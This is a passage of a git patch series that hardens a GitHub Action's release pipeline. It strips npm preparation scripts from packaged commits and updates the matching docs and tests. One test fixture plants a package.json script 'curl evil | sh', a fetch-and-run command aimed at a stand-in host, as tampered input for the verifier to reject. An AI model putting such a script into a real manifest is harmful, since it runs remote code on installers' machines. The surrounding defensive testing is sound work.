JSON.parse(readFileSync(join(check, "release-please-config.json"), "utf8")) as { @@ -1635,6 +1649,8 @@ describe("advanceBuild", () => { expect(body).toContain(`build: main at ${git(fx.origin, "rev-parse", "--short", fx.mergeSha)}`); expect(body).toContain("Workflow-run: https://example.invalid/actions/runs/7"); expect(sourceTrailer(fx.origin, tip)).toBe(fx.mergeSha); + expect(identityOf(fx.origin, tip)).toBe(BOT_IDENTITY); + expect(localIdentity(fx.work)).toBe(FIXTURE_IDENTITY); expect(git(fx.work, "rev-parse", "HEAD")).toBe(fx.mergeSha); expect(git(fx.work, "status", "--porcelain")).toBe(""); From 9542357a8221fe3b4aa65affffcb500c6e1c3d79 Mon Sep 17 00:00:00 2001 From: Vivswan Shah <58091053+Vivswan@users.noreply.github.com> Date: Sat, 12 Sep 2026 02:13:13 -0400 Subject: [PATCH 3/5] fix(release): hold every library-bearing packaged commit to the manifest strip, which now covers pacote's preparation scripts The pre-strip manifest shape was accepted for any packaged commit, so a hand-planted commit carrying lib/pkg/ beside the source's unchanged package.json passed the tree check and a github: install of it would run prepare. Only the bundle-only chain commits predate the strip, so the fallback now applies to commits with no lib/pkg/ entry; the refusal names kept preparation scripts, which a path diff against the source cannot show. The strip itself widens from scripts.prepare to every script npm's git fetcher (pacote) takes as a reason to run npm install --include=dev and a prepare step in a github: dependency's checkout: prepare, prepack, build, and the install hooks. With prepare alone removed the repository's build script still triggered the dev install. The docs place the tags up to v2.0.0 where they are, on release commits on main, not on packaged commits. --- .github/scripts/release-pipeline.ts | 37 +++++++++----- docs/reference/library.md | 2 +- docs/upgrading/README.md | 2 +- test/scripts/release-pipeline.test.ts | 72 ++++++++++++++++++++++----- 4 files changed, 87 insertions(+), 26 deletions(-) diff --git a/.github/scripts/release-pipeline.ts b/.github/scripts/release-pipeline.ts index d73fc7a05..c4b492324 100644 --- a/.github/scripts/release-pipeline.ts +++ b/.github/scripts/release-pipeline.ts @@ -3,7 +3,7 @@ * consumer names points at a packaged commit on the `build` branch (the tags cut before that branch existed point * at main commits from when main still committed the bundle). * - * packaged commit = source tree - .github/workflows - package.json's prepare script + lib/index.js + lib/pkg/, `Source: ` trailer + * packaged commit = source tree - .github/workflows - package.json's preparation scripts + lib/index.js + lib/pkg/, `Source: ` trailer * refs/heads/build root (no parent) -> chain commit -> chain commit ... only ever advances * refs/tags/latest -> the newest source among build's tip, the publishing run's own chain commit, and where latest already points * refs/tags/vX.Y.Z -> the chain commit whose source is the release's merge commit; never moved @@ -273,19 +273,25 @@ function treePlusBundle( const MANIFEST = "package.json"; -/** sourceSha's package.json without scripts.prepare, written to the object store; null when the source has no such - * script. npm's git fetcher runs prepare (installing devDependencies first) on a `github:` install whenever the - * script exists, and the packaged commit ships the build already. */ +/** The scripts npm's git fetcher (pacote) takes as a signal to run `npm install --include=dev` and the prepare + * lifecycle in a `github:` dependency's checkout; the packaged commit ships the build already. */ +const PREPARATION_SCRIPTS = ["prepare", "prepack", "build", "preinstall", "install", "postinstall"]; + +/** sourceSha's package.json without its preparation scripts, written to the object store; null when it has none. */ function strippedManifestBlob(cwd: string, sourceSha: string): string | null { const text = tryGit(cwd, "show", `${sourceSha}:${MANIFEST}`); if (text === null) { return null; } const pkg = JSON.parse(text) as { scripts?: Record }; - if (pkg.scripts === undefined || !("prepare" in pkg.scripts)) { + const scripts = pkg.scripts; + const present = PREPARATION_SCRIPTS.filter((name) => scripts !== undefined && name in scripts); + if (scripts === undefined || present.length === 0) { return null; } - delete pkg.scripts.prepare; + for (const name of present) { + delete scripts[name]; + } return execFileSync("git", ["hash-object", "-w", "--stdin"], { cwd, input: `${JSON.stringify(pkg, null, 2)}\n`, @@ -317,13 +323,19 @@ function assertPackages( }; const expected = treePlusBundle(cwd, source, stage); const actual = git(cwd, "rev-parse", `${packaged}^{tree}`); - // The chain commits minted before the prepare strip carry the source's package.json as is; they stay valid parents - // and latest targets. - if (actual !== expected && actual !== treePlusBundle(cwd, source, stage, "source")) { + // The chain commits minted before the library rode along carry the source's package.json as is and stay valid + // parents and latest targets; a commit that carries lib/pkg/ was minted after the strip and is held to it. + const legacy = + !entries.some(({ path }) => path.startsWith("lib/pkg/")) && + actual === treePlusBundle(cwd, source, stage, "source"); + if (actual !== expected && !legacy) { // An unchanged workflow file never shows in the diff against the source, so every workflow path still in the tree - // is listed as kept; package.json is listed unless it is exactly the source's minus the prepare script. + // is listed as kept; package.json is listed unless it is exactly the source's minus its preparation scripts. const stripped = strippedManifestBlob(cwd, source); const manifestBlob = tryGit(cwd, "rev-parse", `${packaged}:${MANIFEST}`); + // Kept preparation scripts leave package.json identical to the source's, so the diff cannot list it either. + const keptPrepare = + stripped !== null && manifestBlob === tryGit(cwd, "rev-parse", `${source}:${MANIFEST}`); const changed = git(cwd, "diff", "--no-renames", "--name-only", source, packaged) .split("\n") .filter( @@ -333,13 +345,14 @@ function assertPackages( !path.startsWith(`${WORKFLOWS_DIR}/`) && !(path === MANIFEST && stripped !== null && manifestBlob === stripped), ) - .concat(workflowPaths(cwd, packaged).map((path) => `${path} (kept)`)); + .concat(workflowPaths(cwd, packaged).map((path) => `${path} (kept)`)) + .concat(keptPrepare ? [`${MANIFEST} (preparation scripts kept)`] : []); const listed = changed.length === 0 ? "none (an entry a path diff cannot list, such as an empty subtree)" : changed.join(", "); throw new Error( - `${ref} is not ${source} plus ${PACKAGED}, minus ${MANIFEST}'s prepare script, and the removal of ${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ${source}: ${listed}); ${remedy}`, + `${ref} is not ${source} plus ${PACKAGED}, minus ${MANIFEST}'s preparation scripts, and the removal of ${WORKFLOWS_DIR}/ alone: its tree is ${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ${source}: ${listed}); ${remedy}`, ); } } diff --git a/docs/reference/library.md b/docs/reference/library.md index 1f4b84a98..5de834eb4 100644 --- a/docs/reference/library.md +++ b/docs/reference/library.md @@ -16,7 +16,7 @@ npm install @vivswan/github-settings-as-code@next # the newest green main co npm install github:Vivswan/github-settings-as-code# # one packaged commit of the build branch ``` -`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.412.gb8df084`; the [Versioning](#versioning) section says how the three relate. The `github:` form works for every commit packaged since the library joined the packaged branch: such a commit carries `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from its source commit by the workflow run named in its message, so nothing is built on your side. Older packaged commits, and the tags cut from them (v2.0.0 and earlier), carry the action bundle alone. To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/index.js` and `lib/pkg/index.d.ts`, the files the manifest's `exports` point at. +`bun add` takes the same three forms. A pre-release version looks like `2.0.1-main.412.gb8df084`; the [Versioning](#versioning) section says how the three relate. The `github:` form works for every commit packaged since the library joined the packaged branch: such a commit carries `lib/pkg/` (the library build) beside `lib/index.js` (the action bundle), both built from its source commit by the workflow run named in its message, and its `package.json` carries none of the scripts npm's git fetcher takes as a reason to install devDependencies and run a prepare step (`prepare`, `prepack`, `build`, the install hooks), so nothing is built or installed on your side. Packaged commits minted before that carry the action bundle alone, and the tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle, not at packaged commits at all. To build the package from a checkout instead, `bun install && bun run build:lib` writes `lib/pkg/index.js` and `lib/pkg/index.d.ts`, the files the manifest's `exports` point at. The package exports three paths: the entry (`.`), the committed settings.yml JSON Schema (`./settings.schema.json`), and its own manifest (`./package.json`). diff --git a/docs/upgrading/README.md b/docs/upgrading/README.md index f6742741b..31cf09add 100644 --- a/docs/upgrading/README.md +++ b/docs/upgrading/README.md @@ -14,7 +14,7 @@ One page per major version. A major is the only release that can change what an | `@vX.Y.Z` | Never | Byte-stable behavior; upgrade deliberately | | A commit SHA | Never | The same, for repositories that pin actions by digest | -Every version tag points at a packaged commit carrying the built action; tags cut after the library joined the packaged branch also carry the library build (`lib/pkg/`, what the npm package of the same version ships), and v2.0.0 and earlier carry the action bundle alone. Its parent is the audited release commit on `main`, and a ruleset freezes the tag. Only the latest release is supported; fixes are not backported. +Every version tag cut since the `build` branch exists points at a packaged commit on it carrying the built action, and those cut since the library joined it also carry the library build (`lib/pkg/`, what the npm package of the same version ships); the packaged commit records its source, the audited release commit on `main`, in a trailer, and a ruleset freezes the tag. The tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle. Only the latest release is supported; fixes are not backported. ## The guides diff --git a/test/scripts/release-pipeline.test.ts b/test/scripts/release-pipeline.test.ts index b88e5dcd3..3ed544d2a 100644 --- a/test/scripts/release-pipeline.test.ts +++ b/test/scripts/release-pipeline.test.ts @@ -154,22 +154,37 @@ function stageBuild(cwd: string): void { git(cwd, "add", "-f", "--", "lib/index.js", "lib/pkg"); } -/** The fixture's package.json as the real one is shaped: a prepare script beside another script. */ +/** The fixture's package.json as the real one is shaped: preparation scripts (prepare, build) beside one that is not. */ function manifestJson(version: string, scripts: Record = FIXTURE_SCRIPTS): string { return `${JSON.stringify({ name: "@scope/pkg", version, scripts }, null, 2)}\n`; } -const FIXTURE_SCRIPTS = { prepare: "lefthook install || true", build: "bun run build:lib" }; - -/** What a chain commit's package.json looks like: the pipeline strips the prepare script when it mints one. */ +const FIXTURE_SCRIPTS = { + prepare: "lefthook install || true", + build: "bun run build:lib", + test: "bun test", +}; +/** FIXTURE_SCRIPTS after the pipeline's strip: the preparation scripts gone, the rest kept. */ +const STRIPPED_SCRIPTS = { test: "bun test" }; + +/** What a chain commit's package.json looks like: the pipeline strips the preparation scripts when it mints one. */ function stripPrepare(cwd: string): void { const pkg = JSON.parse(readFileSync(join(cwd, "package.json"), "utf8")) as { scripts?: Record; }; delete pkg.scripts?.prepare; + delete pkg.scripts?.build; write(cwd, "package.json", `${JSON.stringify(pkg, null, 2)}\n`); git(cwd, "add", "package.json"); } +/** Whether planted files include the library build, which only commits minted after the prepare strip carry; a + * planted package.json says what the manifest is instead. */ +function carriesLibrary(files: Record): boolean { + return ( + Object.keys(files).some((file) => file.startsWith("lib/pkg/")) && !("package.json" in files) + ); +} + /** What every packaged tree lacks, so a planted chain commit deviates from the pipeline's only where the test means it to. */ function stripWorkflows(cwd: string): void { git(cwd, "rm", "-r", "-q", "-f", "--cached", "--ignore-unmatch", "--", ".github/workflows"); @@ -731,6 +746,9 @@ describe("packageRelease", () => { write(planter, file, content); git(planter, "add", "-f", file); } + if (carriesLibrary(files)) { + stripPrepare(planter); + } git(planter, "commit", "--quiet", "--allow-empty", ...message.flatMap((m) => ["-m", m])); for (const tag of tags) { git(planter, "tag", tag); @@ -768,7 +786,7 @@ describe("packageRelease", () => { "src/marker.ts": "export const marker = 666;\n", }); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/, + /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*src\/marker\.ts/, ); }); @@ -784,7 +802,7 @@ describe("packageRelease", () => { "kept", ); expect(() => packageRelease({ cwd: fx.work, tag: "v2.1.0", sourceSha: fx.mergeSha })).toThrow( - /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/, + /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*: \.github\/workflows\/ci\.yml \(kept\)\)/, ); }); @@ -1051,6 +1069,7 @@ describe("retagMajor", () => { git(planter, "config", "user.email", "planter@example.invalid"); writeBuild(planter, "planted-wrong-bytes\n"); stageBuild(planter); + stripPrepare(planter); git(planter, "commit", "--quiet", "-m", "build: by hand", "-m", `Source: ${fx.mergeSha}`); git(planter, "tag", "v2.1.0"); git(planter, "push", "--quiet", "origin", "refs/tags/v2.1.0"); @@ -1190,6 +1209,7 @@ describe("verifyPublishedRefs", () => { stripWorkflows(planter); writeBuild(planter, "packaged-bundle-bytes-1\n"); stageBuild(planter); + stripPrepare(planter); write(planter, "action.yml", "name: tampered\n"); git(planter, "add", "-f", "action.yml"); const planted = git( @@ -1215,7 +1235,7 @@ describe("verifyPublishedRefs", () => { expect(() => verifyPublishedRefs({ cwd: checker, tag: "v2.1.0", sourceSha: fx.mergeSha }), ).toThrow( - /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's prepare script, and the removal of \.github\/workflows\/ alone: .*action\.yml/, + /is not .* plus lib\/index\.js and lib\/pkg\/, minus package\.json's preparation scripts, and the removal of \.github\/workflows\/ alone: .*action\.yml/, ); }); @@ -1766,6 +1786,7 @@ describe("advanceBuild", () => { stripWorkflows(planter); writeBuild(planter, "planted\n"); stageBuild(planter); + stripPrepare(planter); for (const [file, content] of Object.entries(files)) { write(planter, file, content); git(planter, "add", "-f", file); @@ -1936,6 +1957,9 @@ describe("advanceBuild", () => { } git(planter, "add", "-f", file); } + if (carriesLibrary(files)) { + stripPrepare(planter); + } const paragraphs = message.flatMap((paragraph) => ["-m", paragraph]); git(planter, "commit", "--quiet", "--allow-empty", ...paragraphs); git(planter, "push", "--quiet", "--force", "origin", "HEAD:refs/heads/build"); @@ -1981,7 +2005,7 @@ describe("advanceBuild", () => { const expected = rebuiltTree(fx, `rebuilt-${planted.slice(0, 8)}`, source); return new Error( `refs/heads/build ${where} ${planted}, which names ${source} as its source but is not ` + - `${source} plus lib/index.js and lib/pkg/, minus package.json's prepare script, and the removal of .github/workflows/ alone: its tree is ` + + `${source} plus lib/index.js and lib/pkg/, minus package.json's preparation scripts, and the removal of .github/workflows/ alone: its tree is ` + `${actual}, the rebuilt one is ${expected} (paths beyond those changed relative to ` + `${source}: ${changed}); ${byHand}`, ); @@ -1994,6 +2018,7 @@ describe("advanceBuild", () => { stripWorkflows(planter); writeBuild(planter, "planted\n"); stageBuild(planter); + stripPrepare(planter); const emptyTree = execFileSync("git", ["hash-object", "-w", "-t", "tree", "--stdin"], { cwd: planter, input: "", @@ -2159,7 +2184,7 @@ describe("advanceBuild", () => { }, ], [ - "naming this source with a package.json changed beyond its prepare script", + "naming this source with a package.json changed beyond its preparation scripts", (fx) => { const planted = plantBuild( fx, @@ -2168,12 +2193,35 @@ describe("advanceBuild", () => { ["build: by hand", `Source: ${fx.mergeSha}`], { ...builtFiles("planted\n"), - "package.json": manifestJson("2.1.0", { build: "curl evil | sh" }), + "package.json": manifestJson("2.1.0", { test: "curl evil | sh" }), }, ); return { planted, error: notAPackage(fx, "holds", planted, fx.mergeSha, "package.json") }; }, ], + [ + "carrying the library build beside a package.json that kept its preparation scripts", + (fx) => { + // Only bundle-only commits predate the strip; a commit with lib/pkg/ was minted after it and is held to it. + const planted = plantBuild( + fx, + "build-prepare-kept", + fx.mergeSha, + ["build: by hand", `Source: ${fx.mergeSha}`], + { ...builtFiles("planted\n"), "package.json": manifestJson("2.1.0") }, + ); + return { + planted, + error: notAPackage( + fx, + "holds", + planted, + fx.mergeSha, + "package.json (preparation scripts kept)", + ), + }; + }, + ], [ "naming an older main commit and carrying a file beyond the build outputs", (fx) => { @@ -2198,11 +2246,11 @@ describe("advanceBuild", () => { expect(remoteRef(fx, "refs/tags/latest")).toBe(latestBefore); }); - test("a chain commit's package.json is the source's without its prepare script, and a rerun holds it there", () => { + test("a chain commit's package.json is the source's without its preparation scripts, and a rerun holds it there", () => { const fx = seedFixture(); const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; expect(git(fx.origin, "show", `${tip}:package.json`)).toBe( - manifestJson("2.1.0", { build: "bun run build:lib" }).trimEnd(), + manifestJson("2.1.0", STRIPPED_SCRIPTS).trimEnd(), ); expect(git(fx.origin, "show", `${fx.mergeSha}:package.json`)).toBe( manifestJson("2.1.0").trimEnd(), From 16828d3b7985113d08b644c251d4c5f78414866f Mon Sep 17 00:00:00 2001 From: Vivswan Shah <58091053+Vivswan@users.noreply.github.com> Date: Sat, 12 Sep 2026 02:55:21 -0400 Subject: [PATCH 4/5] docs(release): state both outcomes of the bootstrap publish for the latest dist-tag npm's documentation says publishing sets latest unless --tag is used and is silent on a package's first publish, so neither "latest stays unset" nor "the registry assigns latest" has a primary source. The setup step now tells the owner to read npm dist-tag ls after the bootstrap and gives the plain-install behaviour for each state; the README line, the Versioning row, and the stable verdict's comment say the same. The stable publish job handles both states: it yields only to a newer release. --- .github/scripts/release-pipeline.ts | 7 +++---- README.md | 2 +- docs/reference/library.md | 11 ++++++++++- 3 files changed, 14 insertions(+), 6 deletions(-) diff --git a/.github/scripts/release-pipeline.ts b/.github/scripts/release-pipeline.ts index c4b492324..57ecec660 100644 --- a/.github/scripts/release-pipeline.ts +++ b/.github/scripts/release-pipeline.ts @@ -1290,10 +1290,9 @@ export function stablePublishVerdict(version: string, packument: Packument | nul return { publish: false, version, reason: `${version} is already on the registry` }; } const latest = packument["dist-tags"].latest; - // A pre-release latest is what a package's FIRST publish leaves behind - // (npm tags a first publish latest whatever tag it asked for): the hand - // bootstrap after a release merged before the owner's setup. A release - // must take latest over from it, so only a newer RELEASE holds one back. + // A pre-release on latest is a state the hand bootstrap can leave behind (npm's docs are silent on what a + // package's FIRST publish under --tag does to latest). A release must take latest over from it, so only a newer + // RELEASE holds one back; an absent latest publishes too. if ( latest !== undefined && parseMinted(latest).pre === null && diff --git a/README.md b/README.md index 3f1657500..f582a76ac 100644 --- a/README.md +++ b/README.md @@ -61,7 +61,7 @@ The [getting started guide](docs/start/getting-started.md) walks the same steps ## Library -The same engine is the npm package `@vivswan/github-settings-as-code` (ESM, Node 22.14 or newer): validate, merge, check, and apply from your own code. Every green push to `main` publishes a pre-release: `npm install @vivswan/github-settings-as-code@next` (or `bun add`). The plain `npm install @vivswan/github-settings-as-code` gives the released version once one exists, and the bootstrap pre-release until then. The [library reference](docs/reference/library.md) has the API by group and the versioning rules. +The same engine is the npm package `@vivswan/github-settings-as-code` (ESM, Node 22.14 or newer): validate, merge, check, and apply from your own code. Every green push to `main` publishes a pre-release: `npm install @vivswan/github-settings-as-code@next` (or `bun add`), the install line that always resolves. The plain `npm install @vivswan/github-settings-as-code` gives the released version once one exists; before that it resolves to the bootstrap pre-release or to nothing, depending on what the bootstrap left on `latest`. The [library reference](docs/reference/library.md) has the API by group and the versioning rules. The package is also a command: `npx @vivswan/github-settings-as-code@next check --repository o/r --settings-file .github/settings.yml` runs the action's check from a terminal; the [command line guide](docs/start/cli.md) has every command. diff --git a/docs/reference/library.md b/docs/reference/library.md index 5de834eb4..c6be7efa8 100644 --- a/docs/reference/library.md +++ b/docs/reference/library.md @@ -168,7 +168,7 @@ The package and the action share one version, the one in `.release-please-manife | npm dist-tag | Publishes on | Version | Install | |---|---|---|---| | `next` | Every green push to `main` | The manifest's next patch, then `-main..g`: `2.0.1-main.412.gb8df084` | `npm install @vivswan/github-settings-as-code@next` | -| `latest` | Every release cut | The released version: `2.1.0`. Until the first release it names the bootstrap pre-release, which npm tags `latest` as a package's first publish | `npm install @vivswan/github-settings-as-code` | +| `latest` | Every release cut | The released version: `2.1.0`. Before the first release, whatever the bootstrap left on `latest`: the pre-release, or nothing (see the setup section) | `npm install @vivswan/github-settings-as-code` | | none | Every packaged commit on the `build` branch since the library joined it | The commit itself | `npm install github:Vivswan/github-settings-as-code#` | The npm dist-tag `latest` is not the git tag `latest`: the git tag names the newest packaged commit on the `build` branch (every green push moves it), the dist-tag names the newest release on the registry. @@ -192,6 +192,15 @@ npm version "$version" --no-git-tag-version && npm publish --access public --tag git checkout package.json ``` + Then `npm dist-tag ls @vivswan/github-settings-as-code` shows one of two states; npm's documentation says publishing sets `latest` unless `--tag` is used and is silent on a package's first publish, so neither is promised: + + | Dist-tags after the bootstrap | Plain `npm install @vivswan/github-settings-as-code` until the first release | + |---|---| + | `next` and `latest`, both on the pre-release | Resolves to the bootstrap pre-release | + | `next` alone | Fails; `@next` is the install line | + + The stable publish job handles both: it yields only to a newer release, so the first release takes `latest` from the pre-release or creates it. + 2. On npmjs.com, on the package's settings page, add a trusted publisher: GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow filename `ci.yml` (the caller of both hooks), no environment. 3. Under publishing access, choose "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish. From 07f082eb6c515acfbfd75a1be6d45f7fd4af56d2 Mon Sep 17 00:00:00 2001 From: Vivswan Shah <58091053+Vivswan@users.noreply.github.com> Date: Sat, 12 Sep 2026 03:10:04 -0400 Subject: [PATCH 5/5] docs(release): assert latest on the bootstrap with the registry's own definition, and pin every preparation trigger A packument's dist-tags are an object with at least one key, latest (npm/registry REGISTRY-API.md), so a first publish carries latest whatever --tag asked for; the docs, the setup step, and the stable verdict's comment say so with that citation, replacing the two-outcome hedge. The bootstrap step gains the dist-tag check and drops the prepare script from the manifest as both CI publishers do. PREPARATION_SCRIPTS is exported and the test fixture carries one of each trigger, so dropping any of the six from the list fails the suite; the planter predicate is named for what it decides. AGENTS.md's bundle sentence places the release's packaged commit on the build chain (a child of the previous tip or a root), never as a child of the release commit. --- .github/scripts/release-pipeline.ts | 15 ++++++++---- AGENTS.md | 2 +- README.md | 2 +- docs/reference/library.md | 25 +++++++------------- test/scripts/release-pipeline.test.ts | 34 +++++++++++++++++++-------- 5 files changed, 46 insertions(+), 32 deletions(-) diff --git a/.github/scripts/release-pipeline.ts b/.github/scripts/release-pipeline.ts index 57ecec660..ece019024 100644 --- a/.github/scripts/release-pipeline.ts +++ b/.github/scripts/release-pipeline.ts @@ -275,7 +275,14 @@ const MANIFEST = "package.json"; /** The scripts npm's git fetcher (pacote) takes as a signal to run `npm install --include=dev` and the prepare * lifecycle in a `github:` dependency's checkout; the packaged commit ships the build already. */ -const PREPARATION_SCRIPTS = ["prepare", "prepack", "build", "preinstall", "install", "postinstall"]; +export const PREPARATION_SCRIPTS = [ + "prepare", + "prepack", + "build", + "preinstall", + "install", + "postinstall", +]; /** sourceSha's package.json without its preparation scripts, written to the object store; null when it has none. */ function strippedManifestBlob(cwd: string, sourceSha: string): string | null { @@ -1290,9 +1297,9 @@ export function stablePublishVerdict(version: string, packument: Packument | nul return { publish: false, version, reason: `${version} is already on the registry` }; } const latest = packument["dist-tags"].latest; - // A pre-release on latest is a state the hand bootstrap can leave behind (npm's docs are silent on what a - // package's FIRST publish under --tag does to latest). A release must take latest over from it, so only a newer - // RELEASE holds one back; an absent latest publishes too. + // The hand bootstrap leaves a pre-release on latest: a packument always carries that key (npm/registry + // REGISTRY-API.md, "dist-tags: an object with at least one key, latest"), so a first publish gets it whatever + // --tag asked for. A release must take latest over from it, so only a newer RELEASE holds one back. if ( latest !== undefined && parseMinted(latest).pre === null && diff --git a/AGENTS.md b/AGENTS.md index 8c1ff2bf3..87a3f635e 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -34,7 +34,7 @@ GitHub Settings as Code: GitHub Action applying declarative repository settings: -- `lib/settings.schema.json` is the COMMITTED JSON Schema for settings.yml, generated from the zod slices in `src/sections//schema.ts` as composed into the settings document by `src/schema.ts`. Each slice is ONE declaration that produces its config type (z.infer), the section's tolerant runtime shape (the section module derives `loosen()` itself; the factory-minted families - secrets, variables, the two setup sections, and the list sections on `listSection` - get it from their shared factory in `src/sections/shared/`, which does that derivation once), and its part of the published schema (`.meta({id})` names its definitions; the descriptions come from the `schema:` map in the section's `.docs.yml`, keyed `Definition.field`, which the generator attaches and fails on when a site or a key is unmatched); `src/schema.ts` adds only the document-level wrappers and pins each property to its slice with a lockstep type. Regenerate the schema with `bun run build:schema` after a schema-affecting `src/` change - CI's schema-check job fails when it drifts. `lib/index.js`, the bundled entrypoint the action runs (node24), is NOT committed on main: every workflow that executes the action builds it first (`bun run build:bundle`), the e2e runner builds it to a temp path, and a release builds and commits it on a packaged child of the release commit, which is what every `vX.Y.Z` tag and the moving major point at (main itself stays source-only). `lib/` is exempt from the typography check (third-party unicode in the bundle; the schema descriptions are checked at source) and excluded from [biome](https://biomejs.dev). +- `lib/settings.schema.json` is the COMMITTED JSON Schema for settings.yml, generated from the zod slices in `src/sections//schema.ts` as composed into the settings document by `src/schema.ts`. Each slice is ONE declaration that produces its config type (z.infer), the section's tolerant runtime shape (the section module derives `loosen()` itself; the factory-minted families - secrets, variables, the two setup sections, and the list sections on `listSection` - get it from their shared factory in `src/sections/shared/`, which does that derivation once), and its part of the published schema (`.meta({id})` names its definitions; the descriptions come from the `schema:` map in the section's `.docs.yml`, keyed `Definition.field`, which the generator attaches and fails on when a site or a key is unmatched); `src/schema.ts` adds only the document-level wrappers and pins each property to its slice with a lockstep type. Regenerate the schema with `bun run build:schema` after a schema-affecting `src/` change - CI's schema-check job fails when it drifts. `lib/index.js`, the bundled entrypoint the action runs (node24), is NOT committed on main: every workflow that executes the action builds it first (`bun run build:bundle`), the e2e runner builds it to a temp path, and a release builds and commits it on the `build` branch's chain commit for the release commit (a child of the previous chain tip, or a root; never a child of the release commit), which is what every `vX.Y.Z` tag and the moving major point at (main itself stays source-only). `lib/` is exempt from the typography check (third-party unicode in the bundle; the schema descriptions are checked at source) and excluded from [biome](https://biomejs.dev). - The npm library (`@vivswan/github-settings-as-code`, built into `lib/pkg/` by `bun run build:lib`, never committed) is described in docs/reference/library.md. One rule the tooling cannot infer: a type a section module exposes must be exported from its home module, or the bundled declarations cannot reach it and the package-smoke job fails. - `src/cli/` is the command line, a consumer of the public entry like the action: a capability it needs is exported from `src/index.ts` first, never imported across. Guide: docs/start/cli.md. - The import layering of `src/` is declared in `architecture.yml` and enforced by `bun run lint:arch`, so a new cross-layer import is a deliberate edit to that file; the module map in `docs/reference/architecture.md` is generated from it. diff --git a/README.md b/README.md index f582a76ac..2ff8c17c2 100644 --- a/README.md +++ b/README.md @@ -61,7 +61,7 @@ The [getting started guide](docs/start/getting-started.md) walks the same steps ## Library -The same engine is the npm package `@vivswan/github-settings-as-code` (ESM, Node 22.14 or newer): validate, merge, check, and apply from your own code. Every green push to `main` publishes a pre-release: `npm install @vivswan/github-settings-as-code@next` (or `bun add`), the install line that always resolves. The plain `npm install @vivswan/github-settings-as-code` gives the released version once one exists; before that it resolves to the bootstrap pre-release or to nothing, depending on what the bootstrap left on `latest`. The [library reference](docs/reference/library.md) has the API by group and the versioning rules. +The same engine is the npm package `@vivswan/github-settings-as-code` (ESM, Node 22.14 or newer): validate, merge, check, and apply from your own code. Every green push to `main` publishes a pre-release: `npm install @vivswan/github-settings-as-code@next` (or `bun add`). The plain `npm install @vivswan/github-settings-as-code` gives the released version once one exists, and the bootstrap pre-release until then (a first publish carries `latest` whatever tag it asked for). The [library reference](docs/reference/library.md) has the API by group and the versioning rules. The package is also a command: `npx @vivswan/github-settings-as-code@next check --repository o/r --settings-file .github/settings.yml` runs the action's check from a terminal; the [command line guide](docs/start/cli.md) has every command. diff --git a/docs/reference/library.md b/docs/reference/library.md index c6be7efa8..0fb05ffff 100644 --- a/docs/reference/library.md +++ b/docs/reference/library.md @@ -168,7 +168,7 @@ The package and the action share one version, the one in `.release-please-manife | npm dist-tag | Publishes on | Version | Install | |---|---|---|---| | `next` | Every green push to `main` | The manifest's next patch, then `-main..g`: `2.0.1-main.412.gb8df084` | `npm install @vivswan/github-settings-as-code@next` | -| `latest` | Every release cut | The released version: `2.1.0`. Before the first release, whatever the bootstrap left on `latest`: the pre-release, or nothing (see the setup section) | `npm install @vivswan/github-settings-as-code` | +| `latest` | Every release cut | The released version: `2.1.0`. Until the first release it names the bootstrap pre-release: a packument always carries `latest` (npm/registry REGISTRY-API.md, "dist-tags: an object with at least one key, latest"), so a first publish gets it whatever `--tag` asked for | `npm install @vivswan/github-settings-as-code` | | none | Every packaged commit on the `build` branch since the library joined it | The commit itself | `npm install github:Vivswan/github-settings-as-code#` | The npm dist-tag `latest` is not the git tag `latest`: the git tag names the newest packaged commit on the `build` branch (every green push moves it), the dist-tag names the newest release on the registry. @@ -183,25 +183,18 @@ The npm dist-tag `latest` is not the git tag `latest`: the git tag names the new For the owner, once. npm adds a trusted publisher only to a package that already exists, so the first version is published by hand from a maintainer machine with two-factor authentication; it is the only publish a person ever makes. -1. From a clean checkout of `main`, build the library (the tarball ships `lib/pkg/`, which is built, not committed), stamp the bootstrap pre-release version, and publish it under `next`, never `latest` by request: +1. From a clean checkout of `main`, build the library (the tarball ships `lib/pkg/`, which is built, not committed), stamp the bootstrap pre-release version, drop the `prepare` script from the manifest as both CI publishers do, and publish under the `next` dist-tag: ```bash bun install --frozen-lockfile && bun run build:lib version="$(GITHUB_SHA="$(git rev-parse HEAD)" GITHUB_RUN_NUMBER=0 bun .github/scripts/release-pipeline.ts prerelease-version)" -npm version "$version" --no-git-tag-version && npm publish --access public --tag next -git checkout package.json +npm version "$version" --no-git-tag-version && npm pkg delete scripts.prepare +npm publish --access public --tag next +git checkout -- package.json ``` - Then `npm dist-tag ls @vivswan/github-settings-as-code` shows one of two states; npm's documentation says publishing sets `latest` unless `--tag` is used and is silent on a package's first publish, so neither is promised: +2. Check the dist-tags: `npm dist-tag ls @vivswan/github-settings-as-code` names the bootstrap version under both `next` and `latest`. The registry gives a package's first publish `latest` whatever `--tag` asked for, because a packument always carries that key (npm/registry REGISTRY-API.md, "dist-tags: an object with at least one key, latest"); the first release takes it over, since the stable publish job yields only to a newer release. +3. On npmjs.com, on the package's settings page, add a trusted publisher: GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow filename `ci.yml` (the caller of both hooks), no environment. +4. Under publishing access, choose "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish. - | Dist-tags after the bootstrap | Plain `npm install @vivswan/github-settings-as-code` until the first release | 